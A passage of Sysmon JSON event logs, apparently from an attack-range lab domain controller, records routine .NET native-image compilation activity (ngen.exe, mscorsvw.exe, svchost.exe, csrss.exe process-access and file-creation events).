12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6507,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:27.698\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001058ED0900}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:27.698","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001058ED0900}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6508,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:28.119\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425C-5F2D-0000-001055F10900}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:28.119","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425C-5F2D-0000-001055F10900}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6509,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:28.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425C-5F2D-0000-001055F10900}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:28.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425C-5F2D-0000-001055F10900}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6510,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:28.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425C-5F2D-0000-001055F10900}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:28.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425C-5F2D-0000-001055F10900}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6511,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:29.729\r\nProcessGuid: {90617006-425C-5F2D-0000-001055F10900}\r\nProcessId: 4248\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1098-0\\System.Web.Services.dll\r\nCreationUtcTime: 2020-08-07 12:00:29.729","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:29.729","ProcessGuid":"{90617006-425C-5F2D-0000-001055F10900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1098-0\\System.Web.Services.dll","CreationUtcTime":"2020-08-07 12:00:29.729","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6512,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:29.807\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425D-5F2D-0000-001020F60900}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:29.807","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425D-5F2D-0000-001020F60900}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6513,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:29.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425D-5F2D-0000-001020F60900}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:29.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425D-5F2D-0000-001020F60900}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6514,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:29.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425D-5F2D-0000-001020F60900}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:29.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425D-5F2D-0000-001020F60900}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6515,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:29.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425D-5F2D-0000-001004F90900}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 